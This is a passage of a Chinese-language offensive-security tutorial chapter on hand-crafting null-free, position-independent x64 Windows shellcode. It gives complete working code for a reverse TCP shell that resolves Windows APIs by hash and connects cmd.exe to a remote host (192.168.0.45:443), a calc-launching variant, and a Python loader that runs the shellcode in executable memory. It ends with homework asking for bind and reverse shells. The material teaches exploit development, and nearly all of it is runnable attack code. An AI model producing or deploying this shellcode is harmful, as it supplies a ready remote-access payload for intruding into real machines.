"    sub rsp, 0x30;"     # 函数序言
"    xor rcx, rcx;"
"    mov cl, 2;"    # 最终等效于 mov rcx,2;    # af为2作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 1;"    # type为1作为第2个参数
"    xor r8, r8;"
"    mov r8b, 6;"    # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数,保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数,保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x30;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 2;"     # sin_family成员设置为AF_INET,即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"      # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov edx, 0x3d10b8d0;"
"    sub edx, 0x10101010;"     # 设置IP为192.168.0.45
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    xor r8, r8;"
"    mov r8b, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    sub rsp, 8;"    # 栈对齐
"    mov rdx, 0x10107588753e7c7c;"
"    mov r13, 0x1010101010101010;"
"    sub rdx, r13;"     # 字符串"exe.ll"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rcx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0xff;"
"    inc dx;" 
"    push dx;"      # 成员dwFlags值为0x100   
"    xor rdx, rdx;" 
"    push dx;"     # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
"    push dx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    push rdx;" 
"    mov dl, 0x68;" 
"    push rdx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rdx, rsp;" 
"    sub rdx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rdx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rdx, rdx;" 
"    push rdx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rdx;"     # lpEnvironment值为0作为第7个参数
"    push rdx;"     # dwCreationFlags值为0作为第6个参数
"    inc rdx;" 
"    push rdx;"     # bInheritHandles值为1作为第5个参数
"    xor rdx, rdx;" 
"    push rdx;"     # 为函数归位区域(第4个参数)预留空间
"    push rdx;"     # 为函数归位区域(第3个参数)预留空间
"    push rdx;"     # 为函数归位区域(第2个参数)预留空间
"    push rdx;"     # 为函数归位区域(第1个参数)预留空间
"    mov rdx, rcx;"     # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
"    xor rcx, rcx;"     # 因为lpCommandLine已经赋值,lpApplicationName可为空
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;"  
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

这样,Shellcode 就完全不包含 0x00 字节了,而且 Shellcode 是位置独立的。

image.png

但是目前的话,字节数稍微有些多,在特定的利用场合,尤其是缓冲区溢出的漏洞利用,容纳 Shellcode 的空间可能是有限的,因此我们接下来尽可能对字节数进行优化。


减少字节数

优化字节数可以从多方面做起,例如有的单条汇编指令可以完成多条指令的工作,善用寄存器的低位操作。但在我们先前的代码中,寻找 Kernel32.dll 的部分占用了很多的代码,而这里就有一个很大的优化空间。

改善寻找 Kernel32.dll 的方法

Msfvenom 生成的去除了 0x00 字节的 TCP 逆向 Shell为 503 字节,目前我们与之差距 200 字节。

image.png

其实一般来说,InMemoryOrderLoadList 中模块的顺序为程序自身 -> ntdll.dll -> kernel32.dll。如果使用 WinDBG 调试先前的 Shellcode,我们会发现该规律是适用的:python.exe -> ntdll.dll -> kernel32.dll,请自己验证试试。

那么,我们原本冗长的寻找 Kernel32.dll 的代码可以优化为以下几行:

" locate_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx + 0x60];"  
"   mov rsi, [rax + 0x18];"    
"   mov rsi, [rsi + 0x20];"   
"   mov r9, [rsi];"    # 当前为python.exe
"   mov r9, [r9];"    # 当前为ntdll.dll
"   mov r9, [r9+0x20];"    # 当前为kernel32.dll
"   jmp jump_section;"    

这样修改后,最终优化后的代码如下:

现在不仅没有 0x00 字符,而且仅有 562 字节,十分接近 Msfvenom 生成的了。

image.png


移除不影响运行的函数序言与尾声

jump_section 区域,出于规范,我们在每次函数调用前后都设置了函数序言函数尾声。在我们这个特定上下文中,并不是必须的,至少不会影响到 Shellcode 的正常执行,尽管这是一个良好规范。此外,尽管我们获得了 GetProcAddress 的地址,但因为我们是通过函数哈希获得函数地址的,因此并没有派上用场。所以,精简后的 jump_section 区域如下:

" jump_section:"
"   mov rbp, r9;"    # RBP为Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA哈希
"   call parse_module;"    # 获得LoadLibraryA地址  
"   mov r12, rax;"    # R12为LoadLibraryA地址

最终,我们将 Shellcode 尺寸压缩到了 532 字节,并且依旧正常运行。

image.png


去除冗余指令

在完成初始完整 Shellcode 的过程中,因为我们首要目标是实现功能,因此代码可能包含冗余的。例如在调用 CreateProcessA 函数部分,我们让 RDX 一开始就指向 "powershell.exe" 字符串,后面则用 RCX 作为多次入栈的寄存器。此外,相比让 "exe.dll" 字符串加上 0x1010101010101010 避免 0x00 字节,我们可以善用 NOT 指令:

" mov rdx, 0xffff9a879ad19393;"  # NOT "exe.ll"
" not rdx;"

优化后的如下:

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    sub rsp, 8;"
"    mov rdx, 0xffff9a879ad19393;"  # NOT "exe.ll"
"    not rdx;"
"    push rdx;" 
"    mov rdx, 0x6568737265776f70;"     # 字符串"ehsrewop"
"    push rdx;"     # "powershell.exe"字符串入栈
"    mov rdx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0xff;"
"    inc cx;" 
"    push cx;"      # 成员dwFlags值为0x100   
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
"    push cx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0x68;" 
"    push rcx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rcx, rsp;" 
"    sub rcx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rcx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rcx, rcx;" 
"    push rcx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rcx;"     # lpEnvironment值为0作为第7个参数
"    push rcx;"     # dwCreationFlags值为0作为第6个参数
"    inc rcx;" 
"    push rcx;"     # bInheritHandles值为1作为第5个参数
"    dec cl;" 
"    push rcx;"     # 为函数归位区域(第4个参数)预留空间
"    push rcx;"     # 为函数归位区域(第3个参数)预留空间
"    push rcx;"     # 为函数归位区域(第2个参数)预留空间
"    push rcx;"     # 为函数归位区域(第1个参数)预留空间
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;" 

现在只有 507 字节了,已经不错了。

image.png

如果偏执地追求更短的 Shellcode,我们发现 Msfvenom 生成的 Shellcode 是 cmd 会话的,而字符串 "cmd.exe""powershell.exe" 更短。而且在 cmd.exe 会话中,我们其实可以切换到 PowerShell 的。因此,我们可以将 "powershell.exe" 替换为 "cmd.exe":

"    mov rdx, 0xff9a879ad19b929c;"
"    not rdx;"
"    push rdx;"   

最终代码如下:

import ctypes, struct
from keystone import *



CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址
"   mov r9, [rsi];"    # 当前为python.exe
"   mov r9, [r9];"    # 当前为ntdll.dll
"   mov r9, [r9+0x20];"    # 当前为kernel32.dll
"   jmp jump_section;"   

"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址,获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量,作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0,那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等,搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


" jump_section:"
"   mov rbp, r9;"    # RBP = Kernel32.dll Address
"   mov r8d, 0xec0e4e8e;"    # LoadLibraryA Hash
"   call parse_module;"    # Search LoadLibraryA's address   
"   mov r12, rax;"    # R12 = LoadLibraryA Address

"load_module:"
"    xor rax, rax;"
"    mov ax, 0x6c6c;"       # 将字符串 "ll" 保存至RAX
"    push rax;"       # 字符串入栈
"    mov rax, 0x642E32335F325357;"       # 将字符串"WS2_32.D"保存至RAX
"    push rax;"      # 字符串入栈
"    mov rcx, rsp;"    # RCX指向"ws2_32.dll\0"字符串
"    sub rsp, 0x20;"      # 函数序言
"    mov rax, r12;"     # RAX为LoadLibraryA地址
"    call rax;"      # LoadLibraryA("ws2_32.dll")
"    add rsp, 0x20;"        # 函数尾声
"    mov r14, rax;"      # R14保存了ws2_32.dll的基址

"call_wsastartup:"
"    mov r9, rax;"     # R9保存了ws2_32.dll的基址
"    mov r8d, 0x3bfcedcb;"     # WSAStartup的哈希
"    mov rbx, r9;"     # 将ws2_32.dll的基址保存至RBX以备用
"    call parse_module;"     # 搜索并获得WSAStartup的函数地址
"    xor rcx, rcx;" 
"    mov cx, 0x198;"   
"    sub rsp, rcx;"     # 预留足够空间给lpWSDATA结构体"    
"    lea rdx, [rsp];"     # 将lpWSAData地址赋予RDX寄存器作为第2个参数
"    mov cx, 0x202;"
"    sub rsp, 0x30;"     # 函数序言
"    call rax;"     # 调用WSAStartup
"    add rsp, 0x30;"     # 函数尾声

"call_wsasocket:"
"    mov r9, rbx;"  
"    mov r8d, 0xadf509d9;"     # WSASocketA函数哈希
"    call parse_module;"     # 获得WSASocketA函数地址
"    sub rsp, 0x30;"     # 函数序言
"    xor rcx, rcx;"
"    mov cl, 2;"    # 最终等效于 mov rcx,2;    # af为2作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 1;"    # type为1作为第2个参数
"    xor r8, r8;"
"    mov r8b, 6;"    # protocol为6作为第3个参数
"    xor r9, r9;"     # lpProtocolInfo为0作为第4个参数
"    mov [rsp+0x20], r9;"     # g为0作为第5个参数,保存在栈上
"    mov [rsp+0x28], r9;"     # dwFlags为0作为第6个参数,保存在栈上
"    call rax;"     # 调用 WSASocketA函数
"    mov r12, rax;"     # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
"    add rsp, 0x30;"     # 函数尾声

"call_wsaconnect:"
"    mov r9, rbx;" 
"    mov r8d, 0xb32dba0c;"     # WSAConnect哈希
"    call parse_module;"     # 获得WSAConnect地址
"    sub rsp, 0x20;"     # 为socketaddr结构体分配足够空间 (>=0x18字节)
"    mov rcx, r12;"     # 将WSASocketA返回的描述符传递给RCX作为第1个参数
"    xor rdx, rdx;"
"    mov dl, 2;"     # sin_family成员设置为AF_INET,即2
"    mov [rsp], rdx;"     # 存储socketaddr结构体
"    xor rdx, rdx;"
"    mov dx, 0xbb01;"      # 端口设置为443
"    mov [rsp+2], rdx;"     # 将端口值传递给socketaddr结构体中的对应位置
"    mov edx, 0xd2ff5740;"
"    neg edx;"
"    mov [rsp+4], rdx;"     # 将IP传递给sockaddr结构体中的对应位置\
# " xor r8, r8;"    			
# " mov [rsp+8], r8;"    # 为 sin_zero赋值0,注释这2行可以节省更多字节数,不影响shellcode运行  
"    lea rdx, [rsp];"     # 指向socketaddr结构体的指针作为第2个参数
"    xor r8, r8;"
"    mov r8b, 0x16;"     # 设置namelen成员为0x16
"    xor r9, r9;"     # lpCallerData为0作为第4个参数
"    sub rsp, 0x38;"     # 函数序言
"    mov [rsp+0x20], r9;"     # lpCalleeData为0作为第5个参数
"    mov [rsp+0x28], r9;"     # lpSQOS为0作为第6个参数
"    mov [rsp+0x30], r9;"     # lpGQOS为0作为第7个参数
"    call rax;"     # 调用WSAConnect
"    add rsp, 0x38;"     # 函数尾声

"call_createprocess:"
"    mov r9, rbp;"     # R9为Kernel32.dll基址
"    mov r8d, 0x16b3fe72;"     # CreateProcessA哈希
"    call parse_module;"     # 获取CreateProcessA地址
"    mov rdx, 0xff9a879ad19b929c;"    # NOT "exe.dmc"
"    not rdx;"
"    push rdx;"   
"    mov rdx, rsp;"     # 指向"powershell.exe"的指针保存在RCX寄存器中
"    push r12;"     # 成员STDERROR值为WSASocketA返回值
"    push r12;"     # 成员STDOUTPUT值为WSASocketA返回值
"    push r12;"     # 成员STDINPUT值为WSASocketA返回值
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0xff;"
"    inc cx;" 
"    push cx;"      # 成员dwFlags值为0x100   
"    xor rcx, rcx;" 
"    push cx;"     # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
"    push cx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    push rcx;" 
"    mov cl, 0x68;" 
"    push rcx;"     # 成员cb值为0x68
"    mov rdi, rsp;"     # 获得STARTINFOA结构体的指针
"    mov rcx, rsp;" 
"    sub rcx, 0x20;"     # 为ProcessInformation结构体预留足够空间
"    push rcx;"     # ProcessInformation结构体的地址作为第10个参数
"    push rdi;"     # STARTINFOA结构体的地址作为第9个参数
"    xor rcx, rcx;" 
"    push rcx;"     # lpCurrentDirectory值为0作为第8个参数
"    push rcx;"     # lpEnvironment值为0作为第7个参数
"    push rcx;"     # dwCreationFlags值为0作为第6个参数
"    inc rcx;" 
"    push rcx;"     # bInheritHandles值为1作为第5个参数
"    dec cl;" 
"    push rcx;"     # 为函数归位区域(第4个参数)预留空间
"    push rcx;"     # 为函数归位区域(第3个参数)预留空间
"    push rcx;"     # 为函数归位区域(第2个参数)预留空间
"    push rcx;"     # 为函数归位区域(第1个参数)预留空间
"    mov r8, rcx;"     # lpProcessAttributes值为0作为第3个参数
"    mov r9, rcx;"     # lpThreatAttributes值为0作为第4个参数
"    call rax;" 
)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

最终优化后的 Shellcode 不仅不包含 0x00 字节,而且尺寸比 Msfvenom 生成的还短 25 字节!这个结果可以说是很理想了。

image.png

image.png


拓展

弹出计算器

要实现弹出计算器程序的 Shellcode,我们可以使用 WinExec 函数或者 CreateProcessA 函数。CreateProcessA 函数更加先进,但会让我们的 Shellcode 尺寸更大。WinExec 的函数原型较为简单,只有 2 个参数需要提供。

UINT WinExec(
  [in] LPCSTR lpCmdLine,
  [in] UINT   uCmdShow
);

我们设置 lpCmdLine "calc.exe\0"uCmdShow 为 1。因为该 Shellcode 不需要 ws2_32.dll 中的函数,因此我们可以删除现有代码中的部分内容。调用 WinExec 函数部分如下所示:

"call_winexec:"
"    mov r8d, 0xe8afe98;"     # WinExec的哈希
"    call parse_module;"     # 搜索并获得WinExec的函数地址
"    xor rcx, rcx;"
"    push rcx;"
"    mov rcx, 0x6578652e636c6163;"	# exe.clac
"    push rcx;"
"    lea rcx, [rsp];"
"    xor rdx,rdx;"
"    inc rdx;"
"    sub rsp, 0x28;"
"    call rax;"     # 调用WSAStartup

最终代码为:

import ctypes, struct
from keystone import *



CODE = (

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址
"   mov r9, [rsi];"    # 当前为python.exe
"   mov r9, [r9];"    # 当前为ntdll.dll
"   mov r9, [r9+0x20];"    # 当前为kernel32.dll
"   jmp call_winexec;"   

"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址,获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量,作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0,那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等,搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


"call_winexec:"
"    mov r8d, 0xe8afe98;"     # WinExec的哈希
"    call parse_module;"     # 搜索并获得WinExec的函数地址
"    xor rcx, rcx;"
"    push rcx;"
"    mov rcx, 0x6578652e636c6163;"	# exe.clac
"    push rcx;"
"    lea rcx, [rsp];"
"    xor rdx,rdx;"
"    inc rdx;"
"    sub rsp, 0x28;"
"    call rax;"     # 调用WSAStartup

)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

我们的计算器 Shellcode 只有 169 字节,不存在 0x00 字节,而且是位置独立的。

image.png

MSF 生成的剔除了 0x00 的 Shellcode 有 319 字节。

image.png

exploit-db 上同样功能的 Shellcode 也有 205 字节。

image.png

第14章课后作业

练习

1:分析 OpenProcess 的调用链

2:使用 C++ 调用 CreateProcess API,运行 calc.exe 程序

3:使用 P/Invoke 通过序数调用 OpenProcess,运行 calc.exe 程序

4:使用 D/Invoke 调用 OpenProcess,运行 calc.exe 程序

5:D/Invoke 还有其他方式获得对模块以及 API 的句柄,例如通过方法 GetPebLdrModuleEntry 来获得对 DLL 的句柄。请查看 D/Invoke 的仓库 README 文档并分别进行尝试

6:查阅资料,分别在 VBA 以及 PowerShell 中调用 OpenProcess,运行 calc.exe 程序

7:在 .NET 中,执行 Shellcode 的经典方式为使用 VirtualAlloc 分配内存空间、使用 Marshal.Copy 写入 Shellcode,使用 CreateThread 创建线程,以及使用 WaitForSingleObject 来等待线程的结束。根据描述以及 API 的文档写出 C# 代码,分别使用 P/Invoke 以及 D/Invoke。

8:用 PE Bear 分析 ws2_32.dll 各项重要属性

9:为什么在 calc_dllmain() 中的 CreateThread 函数下面调用 WaitForSingleObject 会导致死锁?

10:使用 C# 的 P/Invoke D/Invoke 分别获得 explorer.exe 的进程句柄,并获得相关进程信息,例如 PID命令行参数等。

11:请用二进制形式写出下列数字的负数:133,4869,51203

12:下述代码片段中,RAX 中保存着函数 LoadLibraryA 的地址,该函数只需要 1 个参数,DLL 名称,假设该参数值为 ws2_32.dll,请填写空白部分缺失的代码:

mov rsi, 0x6c6c;
________;
mov rsi, ________;
push rsi;
________;
sub rsp, ____;
call rax;
________;

13:使用 WinDBG 解析 ws2_32.dll,不借助 PE Bear 等工具的提示,完整地完成对关键属性的数值提取,例如 IAT 表的 RVA

14:根据所学知识,编写弹出 calc.exe 程序的 Shellcode,分别用 WinExec 或者 CreateProcessA

15:根据所学知识,完成正向 Shell 的 Shellcode

16:根据所学知识,以及研究 x86 与 x64 调用约定的差异,完整 x86 版的逆向 Shell 的 Shellcode






面试专题